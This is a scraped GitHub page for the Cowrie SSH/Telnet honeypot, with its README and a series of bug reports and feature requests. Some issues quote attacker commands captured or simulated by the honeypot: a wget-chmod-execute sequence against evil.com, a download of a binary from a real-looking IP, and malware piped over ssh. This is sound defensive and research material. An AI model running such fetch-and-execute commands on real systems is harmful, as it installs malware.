Giter Site home page Giter Site logo

cowrie / cowrie Goto Github PK

View Code? Open in Web Editor NEW
4.9K 4.9K 847.0 9.72 MB

Cowrie SSH/Telnet Honeypot https://cowrie.readthedocs.io

Home Page: https://www.cowrie.org/

License: Other

Python 98.37% Shell 0.66% Assembly 0.03% Makefile 0.49% Dockerfile 0.45%
attacker cowrie cowrie-ssh deception decoy honeypot kippo scp security sftp ssh telnet telnet-honeypot threat-analysis threat-sharing threatintel

cowrie's Introduction

Cowrie

Welcome to the Cowrie GitHub repository

This is the official repository for the Cowrie SSH and Telnet Honeypot effort.

What is Cowrie

Cowrie is a medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker. In medium interaction mode (shell) it emulates a UNIX system in Python, in high interaction mode (proxy) it functions as an SSH and telnet proxy to observe attacker behavior to another system.

Cowrie is maintained by Michel Oosterhof.

Documentation

The Documentation can be found here.

Slack

You can join the Cowrie community at the following Slack workspace.

Features

  • Choose to run as an emulated shell (default):
    • Fake filesystem with the ability to add/remove files. A full fake filesystem resembling a Debian 5.0 installation is included
    • Possibility of adding fake file contents so the attacker can cat files such as /etc/passwd. Only minimal file contents are included
    • Cowrie saves files downloaded with wget/curl or uploaded with SFTP and scp for later inspection
  • Or proxy SSH and telnet to another system
    • Run as a pure telnet and ssh proxy with monitoring
    • Or let Cowrie manage a pool of QEMU emulated servers to provide the systems to login to

For both settings:

  • Session logs are stored in an UML Compatible format for easy replay with the bin/playlog utility.
  • SFTP and SCP support for file upload
  • Support for SSH exec commands
  • Logging of direct-tcp connection attempts (ssh proxying)
  • Forward SMTP connections to SMTP Honeypot (e.g. mailoney)
  • JSON logging for easy processing in log management solutions

Docker

Docker versions are available.

Configuring Cowrie in Docker

Cowrie in Docker can be configured using environment variables. The variables start with COWRIE then have the section name in capitals, followed by the stanza in capitals. An example is below to enable telnet support:

COWRIE_TELNET_ENABLED=yes

Alternatively, Cowrie in Docker can use an etc volume to store configuration data. Create cowrie.cfg inside the etc volume with the following contents to enable telnet in your Cowrie Honeypot in Docker:

[telnet]
enabled = yes

Requirements

Software required to run locally:

  • Python 3.8+
  • python-virtualenv

For Python dependencies, see requirements.txt.

Files of interest:

  • etc/cowrie.cfg - Cowrie's configuration file. Default values can be found in etc/cowrie.cfg.dist.
  • share/cowrie/fs.pickle - fake filesystem
  • etc/userdb.txt - credentials to access the honeypot
  • honeyfs/ - file contents for the fake filesystem - feel free to copy a real system here or use bin/fsctl
  • honeyfs/etc/issue.net - pre-login banner
  • honeyfs/etc/motd - post-login banner
  • var/log/cowrie/cowrie.json - transaction output in JSON format
  • var/log/cowrie/cowrie.log - log/debug output
  • var/lib/cowrie/tty/ - session logs, replayable with the bin/playlog utility.
  • var/lib/cowrie/downloads/ - files transferred from the attacker to the honeypot are stored here
  • share/cowrie/txtcmds/ - file contents for simple fake commands
  • bin/createfs - used to create the fake filesystem
  • bin/playlog - utility to replay session logs

Contributors

Many people have contributed to Cowrie over the years. Special thanks to:

  • Upi Tamminen (desaster) for all his work developing Kippo on which Cowrie was based
  • Dave Germiquet (davegermiquet) for TFTP support, unit tests, new process handling
  • Olivier Bilodeau (obilodeau) for Telnet support
  • Ivan Korolev (fe7ch) for many improvements over the years.
  • Florian Pelgrim (craneworks) for his work on code cleanup and Docker.
  • Guilherme Borges (sgtpepperpt) for SSH and telnet proxy (GSoC 2019)
  • And many many others.

cowrie's People

Contributors

aabed avatar bontchev avatar cfsworks avatar dasouch avatar davegermiquet avatar dependabot[bot] avatar desaster avatar doomedraven avatar dwasss avatar fabiolabusch avatar fe7ch avatar funtimes-ninja avatar g0tmi1k avatar github-actions[bot] avatar iridiumxor avatar jc2k avatar katkad avatar lelonek1 avatar maxduijsens avatar micheloosterhof avatar mrseeker avatar noamkov avatar nunonovais avatar obilodeau avatar petersufliarsky avatar runningstream avatar secmobi avatar secpascal avatar sgtpepperpt avatar wesyoung avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cowrie's Issues

overclocked raspberry pi - 8 to 10 seconds to get kippo shell

have you or someone encountered this ?

original issue:

Hi,

I have the newest version of kippo on my raspberry (overclocked). After starting kippo everybody needs about 8 to 10 seconds to get the kippo shell. My cpu usage for Python is about 100% until the shell is open...

What can I do? :)

Regards Paul

this happens with CZ.NIC fork, and cowrie both

strace looks like this: https://gitlab.labs.nic.cz/honeynet/kippo/issues/2#note_11714

any insight will be helpful,
Katka

Invalid argument handling in head and tail commands

The conditional branch followed when arguments are specified for head or tail commands references uninitialized variable:

        # cowrie/commands/fs.py
        if not self.args or self.args[0] == '>':
            pass
        else:
            try:
                optlist, args = getopt.getopt(self.args, 'n:')
            except getopt.GetoptError as err:
                # NOTE: arg not assigned!
                self.writeln("tail: invalid option -- '%s'" % (arg,))
                self.exit()
                return

One possible fix is to use self.args[0] instead of arg, although the behavior is not identical to the real system.
Additionally, -n flag requires numeric parameter, but no input validation is performed.

Cheers,
aelth

Bug in handling "cat >" command

When attacker executes command:
"cat malware | ssh [email protected] "cat > /tmp/malware"
Cowrie saves only first 0x28000 bytes. Most likely it happens because Cowrie can't handle command "cat" when there is no path specified and it throws exception:
"self.writeln('cat: %s: No such file or directory' % (arg,))".

None authentication

Please, implement "null authentication" - enter to honeypot without "Password: " request.
I implemented auth check via real ssh and want to redirect unwanted users to honeypot using forced-command.

New Logger interface error

Unable to format event {'log_namespace': 'twisted.logger._global', 'log_level': <LogLevel=warn>, 'fileNow': '/usr/lib64/python2.6/site-packages/twisted/python/log.py', 'format': '%(log_legacy)s', 'lineNow': 210, 'fileThen': '/usr/lib64/python2.6/site-packages/twisted/python/log.py', 'log_source': None, 'system': '-', 'lineThen': 210, 'log_logger': <Logger 'twisted.logger._global'>, 'time': 1437384211.561686, 'log_format': 'Warning: primary log target selected twice at <{fileNow}:{lineNow}> - previously selected at <{fileThen:logThen}>. Remove one of the calls to beginLoggingTo.', 'message': (), 'log_time': 1437384211.561686}: Invalid conversion specification

I don't know how to fix this. Is this a bug?

Bad timestamp in mysql db (ok into logfile)

Records in mysql db have timestamp set with wrong timezone, but logfile is ok.
Where can I look to fix it?

$ tail log/cowrie.log | grep 192.168.1.65
2015-06-13 14:51:09+0200 [SSHService ssh-userauth on HoneyPotTransport,9,192.168.1.65] root trying auth keyboard-interactive
2015-06-13 14:51:13+0200 [SSHService ssh-userauth on HoneyPotTransport,9,192.168.1.65] login attempt [root/pass] succeeded
2015-06-13 14:51:17+0200 [SSHService ssh-userauth on HoneyPotTransport,9,192.168.1.65] root authenticated with keyboard-interactive
2015-06-13 14:51:17+0200 [SSHService ssh-userauth on HoneyPotTransport,9,192.168.1.65] starting service ssh-connection
2015-06-13 14:51:17+0200 [SSHService ssh-connection on HoneyPotTransport,9,192.168.1.65] got channel session request
2015-06-13 14:51:17+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,9,192.168.1.65] channel open
2015-06-13 14:51:17+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,9,192.168.1.65] pty request: xterm (24, 80, 0, 0)
2015-06-13 14:51:17+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,9,192.168.1.65] Terminal Size: 24 80
2015-06-13 14:51:17+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,9,192.168.1.65] getting shell
2015-06-13 14:51:17+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,9,192.168.1.65] Opening TTY Log: log/tty/20150613-145117-34c6f004.log


$ mysql -u xxx -p --database xxx --execute "select * from sessions where ip='192.168.1.65' and starttime like '%2015-06-13%';"
Enter password:
+----------------------------------+---------------------+---------------------+--------+--------------+----------+--------+
| id                               | starttime           | endtime             | sensor | ip           | termsize | client |
+----------------------------------+---------------------+---------------------+--------+--------------+----------+--------+
| 22861e886ff648fa8299c007859093ad | 2015-06-13 12:23:25 | 2015-06-13 12:23:47 |      3 | 192.168.1.65 | 24x80    |      1 |
| 153d4071033a45ea97a4bc81afd3765c | 2015-06-13 12:50:22 | 2015-06-13 12:50:57 |      3 | 192.168.1.65 | NULL     |      1 |
| 14d2295419d64cfeb90782b641803ec9 | 2015-06-13 12:51:02 | NULL                |      3 | 192.168.1.65 | 24x80    |      1 |
+----------------------------------+---------------------+---------------------+--------+--------------+----------+--------+

enhancement - Per IP range userDB entry

Please add per IP range entry in userDB. So I can enable/disable a login only for client connecting from specific IP ranges.
Ex.

root:0:!123456:1.1.1.0/24
root:0:*:2.2.2.2/26

Error in starting up

  1. When I try to start the honeypot with "start.sh", I get the message
    Starting cowrie in the background...
    Removing stale pidfile /home/honeydrive/Desktop/cowrie/cowrie.pid
  2. When I check the cowrie.log file it shows:-
    twistd 11.1.0 (/usr/bin/python 2.7.3) starting up.
    2015-10-20 12:54:48+0530 [-] reactor class: twisted.internet.pollreactor.PollReactor.
    2015-10-20 12:54:48+0530 [-] Traceback (most recent call last):
    2015-10-20 12:54:48+0530 [-] File "/usr/bin/twistd", line 14, in
    2015-10-20 12:54:48+0530 [-] run()
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/scripts/twistd.py", line 27, in run
    2015-10-20 12:54:48+0530 [-] app.run(runApp, ServerOptions)
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/application/app.py", line 652, in run
    2015-10-20 12:54:48+0530 [-] runApp(config)
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/scripts/twistd.py", line 23, in runApp
    2015-10-20 12:54:48+0530 [-] _SomeApplicationRunner(config).run()
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/application/app.py", line 390, in run
    2015-10-20 12:54:48+0530 [-] self.postApplication()
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/scripts/_twistd_unix.py", line 208, in postApplication
    2015-10-20 12:54:48+0530 [-] self.startApplication(self.application)
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/scripts/_twistd_unix.py", line 317, in startApplication
    2015-10-20 12:54:48+0530 [-] service.IService(application).privilegedStartService()
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/application/service.py", line 277, in privilegedStartService
    2015-10-20 12:54:48+0530 [-] service.privilegedStartService()
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/application/service.py", line 277, in privilegedStartService
    2015-10-20 12:54:48+0530 [-] service.privilegedStartService()
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/application/internet.py", line 105, in privilegedStartService
    2015-10-20 12:54:48+0530 [-] self._port = self._getPort()
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/application/internet.py", line 133, in _getPort
    2015-10-20 12:54:48+0530 [-] 'listen%s' % (self.method,))(_self.args, *_self.kwargs)
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 436, in listenTCP
    2015-10-20 12:54:48+0530 [-] p.startListening()
    2015-10-20 12:54:48+0530 [-] File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 622, in startListening
    2015-10-20 12:54:48+0530 [-] raise CannotListenError, (self.interface, self.port, le)
    2015-10-20 12:54:48+0530 [-] twisted.internet.error.CannotListenError: Couldn't listen on 0.0.0.0:22: [Errno 13] Permission denied.
  3. How do I reslove the issue. It works when I use port 2222 but I want to use port 22 like kippo ssh

Commands sent after 'wget' execute before wget completes

If an attacker pastes/sends a bunch of commands all at once, ie:

wget http://evil.com/evil.elf
chmod +x evil.elf
./evil.elf

The 'chmod' and './evil.elf' is executed before 'wget' completes (probably because it's printing out it's download progress asynchronously). This means many automated scripts fail (even though we still get the malware).

Example from the attackers perspective:

login as: root
Using keyboard-interactive authentication.
Password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

root@svr04:~# wget http://198.15.216.27:2015/xdsy
--2015-10-14 02:14:19--  http://198.15.216.27:2015/xdsy
Connecting to 198.15.216.27:2015... connected.
HTTP request sent, awaiting response... ls
chmod +x xdsy200 OK
Length: 1223123 (1M) [application/octet-stream]
Saving to: `/root/xdsy

100%[======================================>] 1,223,123    240K/s  eta 1s

2015-10-14 02:14:24 (240 KB/s) - `/root/xdsy' saved [1223123/1223123]
root@svr04:~#

As you can see, neither the 'chmod +x' nor 'ls' commands work as expected.

Reference leaks

Protocol and avatar objects are not cleaned up correctly on logout or disconnect.
There could be dangling references or something going on with the garbage collector.

ImportError: cannot import name IPluggableAuthenticationModules

So I fought with this one for a while....

Running Debian 7.5.0 amd64

All dependencies installed in env (following Kippo's directions).

Upon running, was first stopped with this exception.
exceptions.ImportError: cannot import name IPluggableAuthenticationModules

Found this to be a class of twisted.cred.credentials. However, my version of /home/user/env/lib/python2.7/site-packages/twisted/cred/credentials.py was missing class IPluggableAuthenticationModules altogether.

pip install twisted --upgrade tells me that I am running latest twisted (15.3.0)

So I manually browsed the twisted library on Pydoc and found the missing class(es).

I copied the two missing classes, IPluggableAuthenticationModules & PluggableAuthenticationModules into my own credentials.py, however the first class is nothing but a commented-out block of text.

class IPluggableAuthenticationModules(ICredentials):
    """I encapsulate the authentication of a user via PAM (Pluggable
    Authentication Modules.  I use PyPAM (available from
    http://www.tummy.com/Software/PyPam/index.html).

    @ivar username: The username for the user being logged in.

    @ivar pamConversion: A function that is called with a list of tuples
    (message, messageType).  See the PAM documentation
    for the meaning of messageType.  The function
    returns a Deferred which will fire with a list
    of (response, 0), one for each message.  The 0 is
    currently unused, but is required by the PAM library.
    """

class PluggableAuthenticationModules:
    implements(IPluggableAuthenticationModules) """ <-- I've commented this out in my install """

    def __init__(self, username, pamConversion):
        self.username = username
        self.pamConversion = pamConversion

I also noticed that PluggableAuthenticationModules implements IPluggableAuthenticationModules which caused another exception, so I commented that out.

And now it somehow works. I imagine I simply found a cheap shortcut for something that's not configured properly on my end, but I do not know what or why. Sorry if this write-up sucks, I am still learning Python!

Ctrl+D in /bin/cat shouldn't exit session

When you use cat > somefile, Ctrl+D exits the whole ssh session instead of just cat command.

I see lately that the cat > somefile method is used often instead of wget-ting binaries. Thus this behavior interrupts the session.

Support for ed25519 keys

I tried to log into a honeypot with an ed25519 ssh-key and got this. It seems like cowrie does not yet handle ed25519 keys. AFAIK the ssh server can inform the client that it does not support ed25519 keys and it will fall back to ecdsa/rsa keys.

~/cowrie> cat cowrie.log
...
File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/keys.py", line 87, in fromString
        raise BadKeyError('cannot guess the type of %r' % data)
    twisted.conch.ssh.keys.BadKeyError: cannot guess the type of '\x00\x00\x00\x0bssh-ed25519\x00\x00\x00 \xe7\x16\xdb*\x8c4\xe5\xc3\x9c\xa2\xcd\xa3\xe1\x12\xfc\xe0#nv\xc6\x1a\xf6\xe9\x7f-\x83\xad\xc13\x045\xa2'
...

You can generate such keys via ssh-keygen -t ed25519.

Logging issue with Twisted 15

2015-06-21 21:46:32+0400 [-] Unable to format event {'log_namespace': 'twisted.logger._global', 'log_level': <LogLevel=warn>, 'fileNow': '/usr/local/lib/python2.7/dist-packages/twisted/python/log.py', 'format': '%(log_legacy)s', 'lineNow
': 210, 'fileThen': '/usr/local/lib/python2.7/dist-packages/twisted/python/log.py', 'log_source': None, 'system': '-', 'lineThen': 210, 'log_logger': <Logger 'twisted.logger._global'>, 'time': 1434908792.281163, 'log_format': 'Warning: p
rimary log target selected twice at <{fileNow}:{lineNow}> - previously selected at <{fileThen:logThen}>. Remove one of the calls to beginLoggingTo.', 'message': (), 'log_time': 1434908792.281163}: Invalid conversion specification
2015-06-21 21:46:32+0400 [-] Log opened.
2015-06-21 21:46:32+0400 [-] twistd 15.2.1 (/usr/bin/python 2.7.6) starting up.
2015-06-21 21:46:32+0400 [-] reactor class: twisted.internet.epollreactor.EPollReactor.
2015-06-21 21:46:32+0400 [-] HoneyPotSSHFactory starting on 2222
2015-06-21 21:46:32+0400 [-] Starting factory <cowrie.core.ssh.HoneyPotSSHFactory instance at 0x7f784ce93908>
2015-06-21 21:47:44+0400 [-] Received SIGTERM, shutting down.
2015-06-21 21:47:44+0400 [-](TCP Port 2222 Closed)
2015-06-21 21:47:44+0400 [-] Stopping factory <cowrie.core.ssh.HoneyPotSSHFactory instance at 0x7f784ce93908>
2015-06-21 21:47:44+0400 [-] Main loop terminated.
2015-06-21 21:47:44+0400 [-] Server Shut Down.
2015-06-21 21:47:46+0400 [-] Unable to format event {'log_namespace': 'twisted.logger._global', 'log_level': <LogLevel=warn>, 'fileNow': '/usr/local/lib/python2.7/dist-packages/twisted/python/log.py', 'format': '%(log_legacy)s', 'lineNow
': 210, 'fileThen': '/usr/local/lib/python2.7/dist-packages/twisted/python/log.py', 'log_source': None, 'system': '-', 'lineThen': 210, 'log_logger': <Logger 'twisted.logger._global'>, 'time': 1434908866.354418, 'log_format': 'Warning: primary log target selected twice at <{fileNow}:{lineNow}> - previously selected at <{fileThen:logThen}>. Remove one of the calls to beginLoggingTo.', 'message': (), 'log_time': 1434908866.354418}: Invalid conversion specification
2015-06-21 21:47:46+0400 [-] Log opened.
2015-06-21 21:47:46+0400 [-] twistd 15.2.1 (/usr/bin/python 2.7.6) starting up.
2015-06-21 21:47:46+0400 [-] reactor class: twisted.internet.epollreactor.EPollReactor.
2015-06-21 21:47:46+0400 [-] HoneyPotSSHFactory starting on 2222
2015-06-21 21:47:46+0400 [-] Starting factory <cowrie.core.ssh.HoneyPotSSHFactory instance at 0x7f3f4d3107e8>
2015-06-21 21:47:53+0400 [cowrie.core.ssh.HoneyPotSSHFactory] New connection: 127.0.0.1:42517 (127.0.0.1:2222) [session: 0]
2015-06-21 21:47:53+0400 [-] Temporarily disabling observer LegacyLogObserverWrapper(<bound method Output.emit of <cowrie.output.jsonlog.Output object at 0x7f3f4d324190>>) due to exception: [Failure instance: Traceback: <type 'exceptions.TypeError'>: <LogLevel=info> is not JSON serializable
/home/michel/cowrie/cowrie/core/ssh.py:218:connectionMade
/usr/local/lib/python2.7/dist-packages/twisted/python/threadable.py:53:sync
/usr/local/lib/python2.7/dist-packages/twisted/python/log.py:282:msg
/usr/local/lib/python2.7/dist-packages/twisted/logger/_legacy.py:154:publishToNewObserver
--- ---
/usr/local/lib/python2.7/dist-packages/twisted/logger/_observer.py:131:call
/usr/local/lib/python2.7/dist-packages/twisted/logger/_legacy.py:93:call
/home/michel/cowrie/cowrie/core/output.py:153:emit
/home/michel/cowrie/cowrie/output/jsonlog.py:52:write
/usr/lib/python2.7/json/init.py:189:dump
/usr/lib/python2.7/json/encoder.py:434:_iterencode
/usr/lib/python2.7/json/encoder.py:408:_iterencode_dict
/usr/lib/python2.7/json/encoder.py:442:_iterencode
/usr/lib/python2.7/json/encoder.py:184:default
]
Traceback (most recent call last):
File "/home/michel/cowrie/cowrie/core/ssh.py", line 218, in connectionMade
sessionno=self.transport.sessionno)
File "/usr/local/lib/python2.7/dist-packages/twisted/python/threadable.py", line 53, in sync
return function(self, _args, *_kwargs)
File "/usr/local/lib/python2.7/dist-packages/twisted/python/log.py", line 282, in msg
_publishNew(self._publishPublisher, actualEventDict, textFromEventDict)
File "/usr/local/lib/python2.7/dist-packages/twisted/logger/_legacy.py", line 154, in publishToNewObserver
observer(eventDict)
--- ---
File "/usr/local/lib/python2.7/dist-packages/twisted/logger/_observer.py", line 131, in call
observer(event)
File "/usr/local/lib/python2.7/dist-packages/twisted/logger/_legacy.py", line 93, in call
self.legacyObserver(event)
File "/home/michel/cowrie/cowrie/core/output.py", line 153, in emit
self.write(ev)
File "/home/michel/cowrie/cowrie/output/jsonlog.py", line 52, in write
json.dump(logentry, self.outfile)
File "/usr/lib/python2.7/json/init.py", line 189, in dump
for chunk in iterable:
File "/usr/lib/python2.7/json/encoder.py", line 434, in _iterencode
for chunk in _iterencode_dict(o, _current_indent_level):
File "/usr/lib/python2.7/json/encoder.py", line 408, in _iterencode_dict
for chunk in chunks:
File "/usr/lib/python2.7/json/encoder.py", line 442, in _iterencode
o = _default(o)
File "/usr/lib/python2.7/json/encoder.py", line 184, in default
raise TypeError(repr(o) + " is not JSON serializable")
exceptions.TypeError: <LogLevel=info> is not JSON serializable

The different between dblog and output plugins

Hi, just silly question. May I know what is the difference between dblog(folder/files) and output plugins?
Let say I would like to create my own logger, should I create dblog module or output plugin?

Thanks.

Cowrie and Tango splunk app

Hello

I have managed to modify the Tango app for splunk to be able to get the logs from cowrie, instead of kippo. I would appreciate some help for the virus total API. I have added the API according to instructions and installed request on Splunk server but do not know about this VT command on the dashboards, etc. Any help?

Thanks

Some logs aren't being recognized as JSON

Hey Michel,

I'm in the process of switching everything over to Cowrie, and noticed some logs aren't being recognized as JSON. Here's a screenshot of what I'm talking about http://i.imgur.com/oES48ZX.png, so, that means none of the fields in there are automatically pulled out so I could use them. Not sure why that event in particular is being weird like this, the rest are fine.

Any ideas? I think I can change something in my app to recognize all events as JSON in that sourcetype, so I could try that out I guess.

Can´t bind to port 22

Starting cowrie in the background...
An error has occurred: 'Couldn't listen on 0.0.0.0:22: [Errno 13] Permission denied.'
Please look at log file for more information.

Any solution for binding cowrie at port 22? (SSH is running NOT running at Port 22)

Timeout for session

Would be great to add time limit for hacker session, after timeout session must be killed.

iptables -n

is not implemented, and throws huge traceback

root@svr04:# iptables -n
^C
root@svr04:
# iptables -L -n
^C

        Traceback (most recent call last):
          File "/usr/lib64/python2.7/site-packages/twisted/python/context.py", line 118, in callWithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/usr/lib64/python2.7/site-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/ssh/service.py", line 44, in packetReceived
            return f(packet)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/ssh/connection.py", line 242, in ssh_CHANNEL_DATA
            log.callWithLogger(channel, channel.dataReceived, data)
        --- <exception caught here> ---
          File "/usr/lib64/python2.7/site-packages/twisted/python/log.py", line 88, in callWithLogger
            return callWithContext({"system": lp}, func, *args, **kw)
          File "/usr/lib64/python2.7/site-packages/twisted/python/log.py", line 73, in callWithContext
            return context.call({ILogContext: newCtx}, func, *args, **kw)
          File "/usr/lib64/python2.7/site-packages/twisted/python/context.py", line 118, in callWithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/usr/lib64/python2.7/site-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/ssh/session.py", line 107, in dataReceived
            self.client.transport.write(data)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/ssh/session.py", line 158, in write
            self.proto.dataReceived(data)
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 297, in dataReceived
            insults.ServerProtocol.dataReceived(self, data)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/insults/insults.py", line 431, in dataReceived
            self.terminalProtocol.keystrokeReceived(ch, None)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/recvline.py", line 199, in keystrokeReceived
            m()
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 224, in handle_RETURN
            return recvline.RecvLine.handle_RETURN(self)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/recvline.py", line 257, in handle_RETURN
            self.lineReceived(line)
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 108, in lineReceived
            self.cmdstack[-1].lineReceived(line)
          File "/home/shady/git/cowrie/cowrie/core/honeypot.py", line 70, in lineReceived
            self.runCommand()
          File "/home/shady/git/cowrie/cowrie/core/honeypot.py", line 131, in runCommand
            self.honeypot.call_command(cmdclass, *rargs)
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 207, in call_command
            HoneyPotBaseProtocol.call_command(self, cmd, *args)
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 117, in call_command
            obj.start()
          File "/home/shady/git/cowrie/cowrie/commands/iptables.py", line 120, in start
            self.bad_argument(self.args[0])
          File "/home/shady/git/cowrie/cowrie/commands/iptables.py", line 409, in bad_argument
            % argument )
        exceptions.TypeError: not enough arguments for format string

Session closed to soon when no stdin attached

$ ssh -p 2222 root@localhost wget http://www.google.com/ </dev/null
Password:
--2015-11-16 17:30:11-- http://www.google.com/
Connecting to www.google.com:80... connected.
HTTP request sent, awaiting response... $

In the log:

2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] channel open
2015-11-16 17:30:11+0000 [SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] got global [email protected] request
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] request_env: LANG=en_US.UTF-8
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] executing command "wget http://www.google.com/"
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] Opening TTY Log: log/tty/20151116-173011-af039eba.log
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] CMD: wget http://www.google.com/
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] Command found: wget http://www.google.com/
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] Starting factory <HTTPProgressDownloader: http://www.google.com/>
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] got eof
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] sending close 0
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] remote close
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] received call to LSP.connectionLost
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] Closing TTY Log: log/tty/20151116-173011-af039eba.log
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionDone'>: Connection was closed cleanly.
]
2015-11-16 17:30:11+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,24,127.0.0.1] received call to LSP.connectionLost
2015-11-16 17:30:11+0000 [HoneyPotTransport,24,127.0.0.1] Got remote error, code 11
reason: disconnected by user
2015-11-16 17:30:11+0000 [HoneyPotTransport,24,127.0.0.1] connection lost
2015-11-16 17:30:11+0000 [HoneyPotTransport,24,127.0.0.1] Connection lost
2015-11-16 17:30:12+0000 [HTTPPageDownloader,client] Unhandled Error
Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, _args, *_kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, _args, *_kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, _args, *_kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
return func(args,*kw)
--- ---
File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 586, in _doReadOrWrite
why = selectable.doRead()
File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 199, in doRead
rval = self.protocol.dataReceived(data)
File "/usr/lib/python2.7/dist-packages/twisted/protocols/basic.py", line 564, in dataReceived
why = self.lineReceived(line)
